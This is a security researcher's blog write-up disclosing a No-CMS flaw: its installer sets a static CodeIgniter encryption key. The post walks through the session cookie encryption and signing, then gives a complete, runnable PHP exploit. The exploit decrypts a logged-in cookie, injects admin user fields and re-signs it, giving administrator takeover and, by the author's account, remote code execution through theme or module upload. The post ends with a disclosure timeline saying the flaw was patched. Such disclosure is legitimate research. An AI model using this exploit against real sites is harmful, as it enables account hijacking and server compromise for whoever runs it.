Codeigniter based No-CMS Admin Account Hijacking / RCE Exploit via Static Encryption Key

HELLO

This write-up we will analyze No-CMS web application which based on Codeigniter! Also we will continue to analyze Codeigniter too. If you haven’t read blog post about Codeigniter Object Injection possibilities before it’s time to read https://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/ .  Because vulnerability use weakness of Codeigniter.

Summary of Codeigniter Object Injection Vulnerability

We are able to change session data if we already know encryption_key of application. That means we can add new fields into to the session array or we change it to whatever we want! So, application like No-CMS has to generate encryption_key on installation.

WARM-UP

Before go further I want to remind you some PHP behavior. Please read following code.

//
<?php
$first = array('name' => 'Linux', 'number' => 1337);
$second = array('name' => 'Windows', 'version' => 'NT');

$first = $first + $second;

print_r($first); 

// RESULT
Array
(
    [name] => Linux
    [number] => 1337
    [version] => NT
)

PHP interpreter will focus keys when you sum 2 array. In our example, first array have name  element, also second array have too. But values are diffirent. If you look at the output you will see name have ‘Linux’ value. Because PHP interpreter don’t change if relevant key already exist. It just adds  new ones. Keep this behavior of PHP in your mind because this will lead us to the Session Hijacking attacks!

Codeigniter Encrypt Cookie Enable/Disable

Codeigniter stores whole session array or part of it in cookie instead of hard-drive or database This is the reason why you might want to encrypt cookie values. In order to encrypt cookie values you need to set sess_encrypt_cookie to true which is FALSE with default configuration.

I said,  “part of session”. That means you can use database in order to store session data expect default fields like session_id, user-agent, ip-address etc.

No-CMS STATIC ENCRYPTION_KEY SYNDROME

I realized that No-CMS uses static encryption_key. We will have a look at installation process No-CMS . Modules located here No-CMS/modules/installer/models/install_model.php

Line between 1138 – 1144.

$index_page = $this->hide_index?'':'index.php';
$this->change_config($file_name, "index_page", $index_page, $key_prefix, $key_suffix, $value_prefix, $value_suffix, $equal_sign);
$this->change_config($file_name, "encryption_key", 'namidanoregret', $key_prefix, $key_suffix, $value_prefix, $value_suffix, $equal_sign);
$table_name = 'ci_sessions';
if(!trim($this->db_table_prefix) == ''){
    $table_name = $this->db_table_prefix.'_'.$table_name;
}

You see the encryption_key at 3th line. Key is namidanoregret .

Codeigniter Database For Session

You can store custom session field in database with $config[‘sess_use_database’]    = TRUE. But Codeigniter continue tı use whole serilize and unserialize mechanism with single distinction.

When sess_use_database enabled, Codeigniter only stores following array in cookie.

$this->userdata = array(
    'session_id'	=> $this->_make_sess_id(),
    'ip_address'	=> $this->CI->input->ip_address(),
    'user_agent'	=> trim(substr($this->CI->input->user_agent(), 0, 120)),
    'last_activity'	=> $this->now,
);

Rest of other field that has been added with Codeigniter are going to be in Database with serialized format. When Codeigniter try to read session,

first step ; CI does is decrypt cookie then unserialize and reach above array.

Second step ; Get session_id from array which is created at first step then execute query in order to fetch custom session fields. Unserialize returned string and sum them with following codes.

// Is there custom data? If so, add it to the main session array
$row = $query->row();
if ( ! empty($row->user_data))
{
    $custom_data = $this->_unserialize($row->user_data);

    if (is_array($custom_data))
    {
        $session = $session + $custom_data;
    }
}

 $session array comes from, $custom_data array comes from second step. Now remember  WARM UP section.

No-CMS / Codeigniter Encryption Library

As I said before, No-CMS configured for encrypt session string. Now we will have a look at encryption methods

Now it’s time for continue to reading PHP codes. CI_Encryption class can be found following system/libraries/Encrypt.php.

Following codes constructer method Encryption class. It checks out mcrypt_encrypt native php method. If it exist then CI decide to use it on encryption process.

//
public function __construct()
{
    $this->CI =& get_instance();
    $this->_mcrypt_exists = ( ! function_exists('mcrypt_encrypt')) ? FALSE : TRUE;
    log_message('debug', "Encrypt Class Initialized");
}

CI use 2 different encryption mechanism depends on PHP packages of your application server. If you did not install php5-mcrypt package on application server, CI will not be able to use mcrypt_encrypt method it needs to use something else.

Following codes grabbed from Encryption class. Encode method performs the data encryption and returns it as a string.

function encode($string, $key = '')
{
    $key = $this->get_key($key);
    if ($this->_mcrypt_exists === TRUE)
    {
        $enc = $this->mcrypt_encode($string, $key);
    }
    else
    {
        $enc = $this->_xor_encode($string, $key);
    }
    return base64_encode($enc);
}

As you see, it is checking out _mcrypt_exists variable. If _mcrypt_exists assigned to the True by __construct method then it will use it. If it assined to the FALSE then CI have to use xor_encode.  So we don’t know which encryption method is enabled for target until decrypt cookie.

Lets see how codeigniter creates cookie string.

protected function _set_cookie()
{
    // Get userdata (only defaults if database)
    $cookie_data = ($this->sess_use_database === TRUE)
            ? array_intersect_key($this->userdata, $this->defaults)
            : $this->userdata;

    // Serialize the userdata for the cookie
    $cookie_data = $this->_serialize($cookie_data);

    if ($this->sess_encrypt_cookie === TRUE)
    {
        $cookie_data = $this->CI->encrypt->encode($cookie_data);
    }

    // Require message authentication
    $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

    $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

    // Set the cookie
    $this->_setcookie($this->sess_cookie_name, $cookie_data, $expire, $this->cookie_path, $this->cookie_domain,
        $this->cookie_secure, $this->cookie_httponly);
}

First of all, it check use database for session is enabled or not. If it is enabled then it only use default session field in order to send it to the client.

After that encrypt serialized session array and append hmac string to end of the cookie.

Now we will analyze how codeigniter reads cookie.

protected function _sess_read()
{
// Fetch the cookie
$session = $this->CI->input->cookie($this->sess_cookie_name);

// No cookie? Goodbye cruel world!...
if ($session === NULL)
{
    log_message('debug', 'A session cookie was not found.');
    return FALSE;
}

$len = strlen($session) - 40;

if ($len < 0)
{
    log_message('debug', 'The session cookie was not signed.');
    return FALSE;
}

// Check cookie authentication
$hmac	 = substr($session, $len);
$session = substr($session, 0, $len);

if ($hmac !== hash_hmac('sha1', $session, $this->encryption_key))
{
    log_message('error', 'The session cookie data did not match what was expected.');
    $this->sess_destroy();
    return FALSE;
}

Now we see cookie authentication with hash_hmac. We alread now the encryption_key, session and sha1.

REVERSING No-CMS ENCRYPTED COOKIE

We know following informations.

to create session data.

  • Serialize session array and encrypt it via private_key.
  • Calculate hmac with private_key and append result to the end of the encrypted data.

to read session data.

  • Strip out hmac string from cookie.
  • Decrypt it private_key.
  • Add extra session array fields from database

Following string is real cookie has been generated by No-CMS.

UGQBOgc3AGEGLwJ8BGRRNgNmVGxdcwspAzANcVMiVz5UaAJuA14Ga1FgAiFWaQcvUjoMMgNrUT1XIAJmCTZWZVE3CDFQMwczVGJfbAJmVTJQNQExBzQAPQZhAmoEPFEzAzRUYV1jC2sDMw1mU2hXb1Q3AjkDZwYzUWYCIVZpBy9SOgwwA2lRPVcgAmkJdVZYUWYIY1A2B3VUYl8uAnNVc1A+AXMHOQBiBm4CLQRvUTUDYVR4XWELdANlDSxTYFd1VDwCcwM7BjNRNAI5VnAHKVJzDGQDK1FYV2MCZwlgVmlRcwglUGkHdFQ9X2oCNlVrUCcBTQdsACEGPQJjBDJRZgN5VGNdfwtqA3UNKlMJV2ZUNgI7AyEGV1FmAnZWPAcoUnUMOgN5UUtXawJuCXBWf1EnCH9QagcxVFhfawI0VWpQJQFyB3UAYQZmAjcEcFE3A39Udl0WCz8DNg1pUz5XeFQ1AjADMAYyUTQCMlZiB21SIAxHAzBRdVdnAmYJalZ/USgINVBqBylUN19/AjtVIlA/ATEHMABhBnYCYwQ/UXQDIlQJXTALOQMhDWtTJ1c+VHMCeQMjBjlRbQI5VmMHb1I5DDkDaVE+VzUCOQkzVjFRPAh61c1ffc2403a565e860139ac8de17fc17492b6ab2

Steps:

  •  Strip out last 40 character of Cookie. Because it belongs to hmac!
  • Decrypt rest part of cookie with mcrypt and xor. Because we dont know which one is used by target application.
  • Find session_id or ip_address strings result of decrypted string in order to identy encryption method. Because one of them has to be successfully decrypt it.
  • Unserialize session array.
  • Add extra fields into the array.
  • Serialize it.
  • Encrypt it detected encryption method via private_key.
  • Add result of the hmac to end of it.
  • Done.

EXPLOIT

I wrote exploit in order to generate new session data to gain administrator privileges. When you become an administrator you will be able to upload theme or add new administrator  account which lead to Remote Code Execution. Please analyze exploit codes.

This exploit does exactly same steps with above. It add cms_user_name = 1 and cms_user_id = 1 fields into the session array in order to become an administrator! Remember RECAP section we’ve learned behavior of PHP when it try to add one array to another one. Actually current user’s cms_user_name and cms_user_id values are different in database but it does not append them into to the session array because of that we already add them to session array by manually.

Also I’ve made a few modification on CI_ecnrypt class of Codeigniter in order to encrypt and decrypt cookie without having pain.

<?php
define('KEY', 'namidanoregret');
define('KEYWORD', 'session_id');

function log_message($type = 'debug', $str){
    echo PHP_EOL."[".$type."] ".$str;
}
function show_error($str){
    echo PHP_EOL."[error] ".$str.PHP_EOL;
    exit(0);
}
function _print($str){
    log_message("info", $str.PHP_EOL);
}
class CI_Encrypt {
    public $encryption_key		= '';
    protected $_hash_type		= 'sha1';
    protected $_mcrypt_exists	= FALSE;
    protected $_mcrypt_cipher;
    protected $_mcrypt_mode;
    public function __construct()
    {
        $this->_mcrypt_exists = function_exists('mcrypt_encrypt');
        log_message('debug', 'Encrypt Class Initialized');
    }
    public function get_key($key = '')
    {
        return md5($this->encryption_key);
    }
    public function set_key($key = '')
    {
        $this->encryption_key = $key;
        return $this;
    }
    public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '')
    {
        if ($this->_mcrypt_exists === FALSE)
        {
            log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.');
            return FALSE;
        }
        elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))
        {
            return FALSE;
        }
        $current_mode = $this->_get_mode();
        $this->set_mode($legacy_mode);

        $key = $this->get_key($key);
        $dec = base64_decode($string);
        if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE)
        {
            $this->set_mode($current_mode);
            return FALSE;
        }
        $dec = $this->_xor_decode($dec, $key);
        $this->set_mode($current_mode);
        return base64_encode($this->mcrypt_encode($dec, $key));
    }
    public function _xor_encode($string, $key = '')
    {
        if($key === '')
            $key = $this->get_key();
        $rand = '';
        do
        {
            $rand .= mt_rand();
        }
        while (strlen($rand) < 32);
        $rand = $this->hash($rand);
        $enc = '';
        for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++)
        {
            $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]);
        }
        return $this->_xor_merge($enc, $key);
    }
    public function _xor_decode($string, $key = '')
    {
        if($key === '')
            $key = $this->get_key();
        $string = $this->_xor_merge($string, $key);

        $dec = '';
        for ($i = 0, $l = strlen($string); $i < $l; $i++)
        {
            $dec .= ($string[$i++] ^ $string[$i]);
        }
        return $dec;
    }
    protected function _xor_merge($string, $key)
    {
        $hash = $this->hash($key);
        $str = '';
        for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++)
        {
            $str .= $string[$i] ^ $hash[($i % $lh)];
        }
        return $str;
    }
    public function mcrypt_encode($data, $key = '')
    {
        if($key === '')
            $key = $this->get_key();
        $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());
        $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);
        return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key);
    }
    public function mcrypt_decode($data, $key = '')
    {
        if($key === '')
            $key = $this->get_key();
        $data = $this->_remove_cipher_noise($data, $key);
        $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());

        if ($init_size > strlen($data))
        {
            return FALSE;
        }

        $init_vect = substr($data, 0, $init_size);
        $data = substr($data, $init_size);
        return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0");
    }
    protected function _add_cipher_noise($data, $key)
    {
        $key = $this->hash($key);
        $str = '';
        for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
        {
            if ($j >= $lk)
            {
                $j = 0;
            }
            $str .= chr((ord($data[$i]) + ord($key[$j])) % 256);
        }
        return $str;
    }
    protected function _remove_cipher_noise($data, $key)
    {
        $key = $this->hash($key);
        $str = '';
        for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
        {
            if ($j >= $lk)
            {
                $j = 0;
            }
            $temp = ord($data[$i]) - ord($key[$j]);
            if ($temp < 0)
            {
                $temp += 256;
            }
            $str .= chr($temp);
        }
        return $str;
    }
    public function set_cipher($cipher)
    {
        $this->_mcrypt_cipher = $cipher;
        return $this;
    }
    public function set_mode($mode)
    {
        $this->_mcrypt_mode = $mode;
        return $this;
    }
    protected function _get_cipher()
    {
        if ($this->_mcrypt_cipher === NULL)
        {
            return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256;
        }
        return $this->_mcrypt_cipher;
    }
    protected function _get_mode()
    {
        if ($this->_mcrypt_mode === NULL)
        {
            return $this->_mcrypt_mode = MCRYPT_MODE_CBC;
        }
        return $this->_mcrypt_mode;
    }
    public function set_hash($type = 'sha1')
    {
        $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1';
    }
    public function hash($str)
    {
        return hash($this->_hash_type, $str);
    }

}

$encryption = new CI_Encrypt();
$encryption->set_key(KEY);

// Write your own logged-in cookie here.
$cookie = rawurldecode("DTkAOwMzVjcAKQV7UDAEY1QxU2sALgAiUmFaJlEgAmsLNwVpB1pVOAw9AiFTbFtzBW0GOFM7AW1QJw5oWTMGbgdhCzRUMFtuV2VXNgswV2oNbwBkAzVWNQBlBWxQbwQ3VGJTMwA6ADVSMFptUWoCYAtvBTcHM1VnDGACIVNsW3MFbQY6UzkBbVAnDmVZJQYIBzALYFQyWylXYVcmC3pXcQ1jAHIDPVY0AGgFKlA7BGBUNlN/ADwAf1I0WntRYgIgC2MFdAc/VWAMaQI5U3VbdQUkBm5TewEIUGQOa1kwBjkHJQsmVG1bKFc+V2ILP1dpDXoATANoVncAOwVkUGYEM1QuU2QAIgBhUiRafVELAjMLaQU8ByVVBAw7AnZTOVt0BSIGMFMpARtQbA5iWSAGLwdxC3xUblttV1tXYws9V2gNeABzA3FWNwBgBTBQJARiVChTcQBLADRSZ1o+UTwCLQtqBTcHNFVhDGkCMlNnWzEFdwZNU2ABJVBgDmpZOgYvB34LNlRuW3VXNFd3CzJXIA1iADADNFY3AHAFZFBrBCFUdVMOAG0AMlJwWjxRJQJrCywFfgcnVWoMMAI5U2ZbMwVuBjNTOAFmUDAOOFljBmcHagt57b2c2c065836af83873b6baca9ff4ec058b4a9a9");

$len = strlen($cookie) - 40;

if ($len < 0)
{
    show_error('The session cookie was not signed.');
}
// Check cookie authentication
$hmac	 = substr($cookie, $len);
$session = substr($cookie, 0, $len);

if ($hmac !== hash_hmac('sha1', $session, KEY))
{
    show_error('The session cookie data did not match what was expected.');
}

// Detect target encryption method and Decrypt session
$_mcrypt = $encryption->mcrypt_decode(base64_decode($session));
$_xor = $encryption->_xor_decode(base64_decode($session));
$method = '';
$plain = '';

if (strpos($_mcrypt, KEYWORD) !== false) {
    _print("Encryption method is mcrypt!");
    $method = 'm';
    $plain = $_mcrypt;
} else if (strpos($_xor, KEYWORD) !== false) {
    _print("Encryption method is xor!");
    $method = 'x';
    $plain = $_xor;
} else {
    show_error("something went wrong.");
}

// Unserialize session string in order to create session array.
$session = unserialize($plain);
_print("Current Session Array :");
print_r($session).PHP_EOL;

// Add extra fields into it
$session['cms_user_name'] = 'admin';
$session['cms_user_id'] = 1;

// Print out payload string.
_print("Payload appended Session Array :");
print_r($session).PHP_EOL;

// Serialize it
$session = serialize($session);


// Encrypt it with same key.
if ($method === 'm')
    $payload = base64_encode($encryption->mcrypt_encode($session));
if ($method === 'x')
    $payload = base64_encode($encryption->_xor_encode($session));

// Calculation of hmac to add it end of the encrypted session string.
$payload .= hash_hmac('sha1', $payload, KEY);

_print("New Cookie");
_print($payload);
_print("Use Tamper Data and change cookie then push F5!");

 RESULT

Encrypt cookie and store custom session field on database are enabled No-CMS but encryption_key is static! This is lead to gain administrator and have an access to Remote Code Execution via theme/module upload.

Also we can use unserialization of session array for Object Injection but I prefer to use Session Array Manipulation.

Feel free to write your ideas or ask a question via comment.

TIMELINE

Apr 21, 2014 at 20:17 PM = Vulnerability found.

Apr 22, 2014 at 1:27 AM = First contact with no-cms developers.

Apr 22, 2014 at 1:31 AM = Response from no-cms developer.

Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers.

Apr 22, 2014 at 04:37 = Vulnerability has been patch